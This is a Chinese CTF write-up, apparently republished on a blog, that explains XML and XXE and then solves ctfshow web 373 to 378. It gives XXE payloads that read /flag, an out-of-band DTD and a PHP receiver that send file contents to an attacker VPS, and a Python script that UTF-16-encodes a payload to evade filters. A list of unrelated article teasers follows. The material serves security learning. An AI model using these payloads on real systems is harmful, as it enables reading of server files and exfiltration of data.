ctfshow web入门 XXE

XXE基础知识

        XXE(XML External Entity)攻击是一种针对XML处理漏洞的网络安全攻击手段。攻击者利用应用程序在解析XML输入时的漏洞,构造恶意的XML数据,进而实现各种恶意目的。

所以要学习xxe就需要了解xml

xml相关:

XML,全称为可扩展标记语言(Extensible Markup Language),是一种用于标记电子文件使其具有结构性的标记语言。它属于标准通用标记语言的子集,通过此种标记,计算机之间可以处理包含各种信息的数据,比如文章等。XML非常适合万维网传输,提供统一的方法来描述和交换独立于应用程序或供应商的结构化数据。它是Internet环境中跨平台的、依赖于内容的技术,也是当今处理分布式结构信息的有效工具。

XML的特性和语法包括:

  1. XML是大小写敏感的。
  2. XML只有单个标签而没有相对应的结束标签的元素必须以“/”结尾,否则结束标签绝对不能省略。
  3. XML中的属性值必须使用引号,例如“width=‘300’”,不能写成“width=300”。
  4. XML中所有的属性必须都有属性值。
  5. XML文档应当以一个文档头开始,文档头可选,但是强烈建议使用。例如:“<?xml version=‘1.0’?>”或“<?xml version=‘1.0’ encoding=‘UTF-8’?>”。
  6. XML文档的正文包含根元素,根元素包含其他元素。元素可以有子元素、文本或者两者皆有。

XML文档由两部分构成:第一部分是文档序言,第二部分是文档元素(节点)。文档序言通常位于XML文档的顶端,根元素之前出现,它是一个特定的包含XML文档设定信息的部分。XML文档序言主要由XML声明、文档类型定义(DTD)和XML Schema组成。XML声明用来设置XML文档解析时所需的基本参数,包括版本号、编码方式等。DTD定义了文档的整体结构以及文档的语法,应用广泛并有丰富工具支持。XML Schema则用于定义管理信息等更强大、更丰富的特征。

XML的用途非常广泛,主要包括:

  1. 存储数据:XML可以用于持久化保存需要长期存储的数据,例如web应用程序中的各种配置文件(如web.xml和bean.xml)。
  2. 分离数据:XML能将数据和展现形式相分离,使数据的组织者和展示者能更专注于各自的任务。
  3. 交换数据:XML可以在不兼容的系统之间交换数据,因为XML是纯文本格式,不受软件和硬件的限制。
  4. 共享数据:XML提供了一种简单的数据共享方式,因为任何应用程序都可以读取和解析XML文件。

总的来说,XML是一种强大且灵活的数据标记语言,它广泛应用于各种需要结构化数据处理的场景,特别是在Web开发、数据交换和配置文件管理等领域。

xml相似于html,但是它可以自定义标签

XML 和 HTML 为不同的目的而设计:

  • XML 被设计用来传输和存储数据,其焦点是数据的内容。
  • HTML 被设计用来显示数据,其焦点是数据的外观。

HTML 旨在显示信息,而 XML 旨在传输信息。

XXE:

       首先,攻击者会寻找那些存在XXE漏洞的应用程序作为攻击目标。这些应用程序可能没有正确限制或验证XML输入中的外部实体引用。

        一旦找到了目标,攻击者会开始构造恶意的XML输入。这通常涉及到在XML文档中定义外部实体,这些实体指向攻击者想要访问或控制的资源,如文件、URL或其他后端系统。

        然后,攻击者将这些恶意的XML输入发送给目标应用程序。当应用程序解析这些XML数据时,它会尝试加载并包含这些外部实体引用的内容。由于应用程序没有正确地限制或验证这些引用,它可能会执行攻击者指定的恶意操作。

        通过XXE攻击,攻击者可以实现多种恶意目的。例如,他们可以读取目标服务器上的敏感文件,如配置文件、密码文件或数据库凭据。这些文件通常包含有关应用程序配置、用户凭证或其他重要信息,对攻击者来说具有很高的价值。

       此外,攻击者还可以利用XXE攻击发起服务器端请求伪造(SSRF)攻击,进一步探索和利用目标应用程序的内部网络结构。通过构造特定的XML输入,攻击者可以使应用程序发起对内部网络资源的请求,从而获取更多关于目标系统的信息。

      在某些情况下,攻击者甚至可以利用XXE漏洞执行远程代码。他们可以在XML输入中嵌入恶意代码,通过应用程序的XML解析器执行这些代码,进而实现对目标系统的完全控制。

      总的来说,从攻击者的角度来看,XXE攻击是一种利用应用程序对XML处理不当的漏洞,通过构造恶意的XML输入来实现各种恶意目的的攻击手段。为了防范XXE攻击,应用程序需要正确验证和限制XML输入中的外部实体引用,并采取其他必要的安全措施。

web 373

抓包

POST传参

这里不能使用Hackbar

<?xml version="1.0"?>
<!DOCTYPE payload [
<!ELEMENT payload ANY>
<!ENTITY xxe SYSTEM "file:///flag">
]>
<creds>
<ctfshow>&xxe;</ctfshow>
</creds>

只是简单的例题

web 374、375、376

三道题基本上相似

属于无回显类型

区别是:

375过滤xml和version

376过滤大小写

构建一条带外信道提取数据

在公网上上创建1.php

<?php
$content = $_GET['1'];
if(isset($content)){
    
      
    file_put_contents('flag.txt','更新时间:'.date("Y-m-d H:i:s")."\n".$content);
}else{
    
      
    echo 'no data input';
}

1.xml

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xxx.xxx:xxxx/xxe.php?1=%file;'"
>
%all;

抓包,发送

<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://[vps-ip]/xxe.dtd">
%aaa;
]>
<root>123</root>

即得

记录创建网站过程:

(自己摸索的过程有点艰难)

选择了阿里云ECS试用

注册登录领取

选择Centos操作系统

然后找到控制台实例

 显示没有记录的话查找其他区域就有了

打开后进行操作命令安装宝塔面板

yum install -y wget && wget -O install.sh http://download.bt.cn/install/install_6.0.sh && sh install.sh

安装完成界面最后会显示网址、用户名、密码

网站在这个时候还不能打开,需要在控制台安全组手动添加端口

添加完成后再登网页

登录宝塔

添加网站

web 377

比上一题多了http过滤,把web374的payload转为utf-16编码

import requests
url = 'http://0ec4fe9d-6949-4e9d-a3b1-70be3bb3f01b.challenge.ctf.show/'
payload = '''
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://[vps-ip]/xxe.dtd">
%remote;
%send;
]>
'''
payload = payload.encode('utf-16')
rep = requests.post(url=url, data=payload)
print(rep.text)

web 378

 抓包看看

发现是有回显的

 payload:

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "file:///flag">
]>
<user>
<username>&file;</username>
<password>123</password>
</user>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/503440.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【应用层协议原理】

文章目录 第二章 应用层2.1 应用层协议原理2.1.1 网络应用的体系结构2.1.2 客户-服务器&#xff08;C/S&#xff09;体系结构2.1.3 对等体&#xff08;P2P&#xff09;体系结构2.2.4 C/S和P2P体系结构的混合体2.2.5 进程通信问题1&#xff1a;对进程进行编址&#xff08;addres…

YOLOv5改进系列:升级版ResNet的新主干网络DenseNet

一、论文理论 论文地址&#xff1a;Densely Connected Convolutional Networks 1.理论思想 DenseNet最大化前后层信息交流&#xff0c;通过建立前面所有层与后面层的密集连接&#xff0c;实现了特征在通道维度上的复用&#xff0c;不但减缓了梯度消失的现象&#xff0c;也使其…

蓝桥杯刷题day12——元素交换【算法赛】

一、题目描述 给定个大小为2N的二进制数组A&#xff0c;其中包含N个0和N个1。 现在&#xff0c;你可以交换数组中的任意两个元素。请你计算&#xff0c;至少需要多少次交换操作&#xff0c;才能保证数组中不存在连续的0或1. 输入格式 第行包含一个整数N(1<N≤10^5),表示数…

【微服务】OpenFeign+Sentinel集中处理远程调用异常

文章目录 1.微服务基本环境调整1.对10004模块的application.yml调整2.启动nacos以及一个消费者两个提供者3.测试1.输入http://localhost:8848/nacos/index.html 来查看注册情况2.浏览器访问 http://localhost:81/member/nacos/consumer/get/13.结果 2.使用OpenFeign实现微服务模…

【echart】数据可视化

什么是数据可视化&#xff1f; 数据可视化主要目的:借助于图形化手段&#xff0c;清晰有效地传达与沟通信息。 数据可视化可以把数据从冰冷的数字转换成图形&#xff0c;揭示蕴含在数据中的规律和道理。 如何绘制&#xff1f; echarts 图表的绘制&#xff0c;大体分为三步:…

使用1panel部署Ollama WebUI(dcoekr版)浅谈

文章目录 说明配置镜像加速Ollama WebUI容器部署Ollama WebUI使用问题解决&#xff1a;访问页面空白 说明 1Panel简化了docker的部署&#xff0c;提供了可视化的操作&#xff0c;但是我在尝试创建Ollama WebUI容器时&#xff0c;遇到了从github拉取镜像网速很慢的问题&#xf…

pytest--python的一种测试框架--pytest初阶

前言 使用pytest去做测试时我们对文件名的命名其实是有规范的&#xff0c;要用test_开头&#xff01;&#xff01;&#xff01; 一、pytest初阶 def test_one():expect1actual1assert expectactual#测试专用语句&#xff1a;assert&#xff0c;识别期望与实际值是否相等这个…

后疫情时代CS保研沉思录暨2023年个人保研经验贴

个人情况 正如古话所说&#xff0c;最适合你的才是最好的。因此这里先贴上个人基本情况&#xff0c;用作参考。 如果你的个人情况与我相近&#xff0c;则有更强的参考作用。如果情况相差较大&#xff0c;也可以姑且引为例子来研究。 学校层次&#xff1a;中流至末流211 专业…

Linux 学习之路 -- 工具篇 -- gcc / g++

在 Linux 系统中&#xff0c;gcc 和 g 是两个常用的编译工具&#xff0c;分别用于编译 C 和 C 代码。下面我将介绍gcc、g的一些基本用法 目录 一、简单的认识 二、简单了解一下编译的过程 <1> 预处理阶段 <2>编译 <3>汇编 <4>链接…

Redis慢日志

SLOWLOG 是用来读取和重置 Redis 慢查询日志的命令&#xff0c;Redis 2.2.12 版本开始支持 1.Redis 慢查询日志概述 客户端从发送命令到获取返回结果经过了以下几个步骤&#xff1a; 1. 客户端发送命令 2. 该命令进入 Redis 队列排队等待执行 3. Redis 开始执行命令 - Red…

飞天使-k8s知识点28-kubernetes散装知识点5-helm安装ingress

文章目录 安装helm添加仓库下载包配置创建命名空间安装 安装helm https://get.helm.sh/helm-v3.2.3-linux-amd64.tar.gztar -xf helm-v3.2.3-linux-amd64.tar.gzcd linux-amd64mv helm /usr/local/bin修改/etc/profile 文件&#xff0c;修改里面内容,然后重新启用export PATH$P…

嵌入式数据库-Sqlite3

阅读引言&#xff1a; 本文将会从环境sqlite3的安装、数据库的基础知识、sqlite3命令、以及sqlite的sql语句最后还有一个完整的代码实例&#xff0c; 相信仔细学习完这篇内容之后大家一定能有所收获。 目录 一、数据库的基础知识 1.数据库的基本概念 2.常用数据库 3.嵌入式…

在A中删除既在B表中出现又在C表中出现的元素

方法一&#xff08;感觉有点取巧&#xff0c;不太推荐&#xff0c;但是实现简单&#xff09;&#xff1a; 算法思想:保留La的头节点&#xff0c;并用pcur指针指向La链中的第一个结点&#xff0c;通过pcur指针遍历La中的每一个元素&#xff0c;并判断该元素是否在Lb和Lc链中出现…

优化选址问题 | 基于帝国企鹅算法求解工厂-中心-需求点三级选址问题含Matlab源码

目录 问题代码问题 "帝国企鹅算法"并不是一个广为人知的优化算法,可能是一个特定领域或者特定情境下提出的方法。不过,对于工厂-中心-需求点三级选址问题,它可能是一种启发式优化方法,用于在多个候选位置中选择最优的工厂、中心和需求点位置。 这类问题通常涉及…

HAL STM32 硬件I2C方式读取AS5600磁编码器获取角度例程

HAL STM32 硬件I2C方式读取AS5600磁编码器获取角度例程 &#x1f4cd;相关篇《STM32 软件I2C方式读取AS5600磁编码器获取角度例程》 ✨stm32使用硬件I2C去读取角度数据&#xff0c;通过STM32CubeMX工具配置工程&#xff0c;读取角度数据&#xff0c;只需要调用一个函数&#xf…

css3之动画animation

动画animation 一.优点二.定义和使用三.动画序列和解释四.常见属性及解释五.简写&#xff08;名字和时间不能省略&#xff09;&#xff08;持续时间在何时开始的时间前&#xff09;&#xff08;简写中无animation-play-state)六.例子1.大数据热点图2.奔跑的熊大&#xff08;一个…

大模型与数据分析:探索Text-to-SQL

当今大模型如此火热&#xff0c;作为一名数据同学&#xff0c;持续在关注LLM是如何应用在数据分析中的&#xff0c;也关注到很多公司推出了AI数智助手的产品&#xff0c;比如火山引擎数智平台VeDI—AI助手、 Kyligence Copilot AI数智助理、ThoughtSpot等&#xff0c;通过接入人…

同一个主机配置多个SSH key

使用git时&#xff0c;我们可能一个git客户端使用多个git服务器&#xff0c;比如github&#xff0c;自建gitlab&#xff0c;gitee&#xff0c;为了防止提交混乱&#xff0c;所以需要一一对应生成公私钥。 第一步&#xff1a; 使用ssh-keygen生成多对密钥对&#xff0c;比如&…

深入理解SQLite:存储引擎、索引、事务与锁

文章目录 一、存储引擎二、索引的数据结构和类型2.1 B-Tree2.2 其他类型的索引2.3 小结 三、事务处理中的一致性问题3.1 脏读&#xff08;Dirty Read&#xff09;3.2 不可重复读&#xff08;Non-repeatable Read&#xff09;3.3 幻读&#xff08;Phantom Read&#xff09;3.4 小…

python实战之进阶篇(二)

一. python中的继承 二. 多继承 如果一个类继承了多个类, 多个父类中有相同的方法, 相同的方法则按照继承的顺序,继承第一个父类的 如果子类重写父类中继承的方法, 则子类中重写的方法生效 三. 继承与多态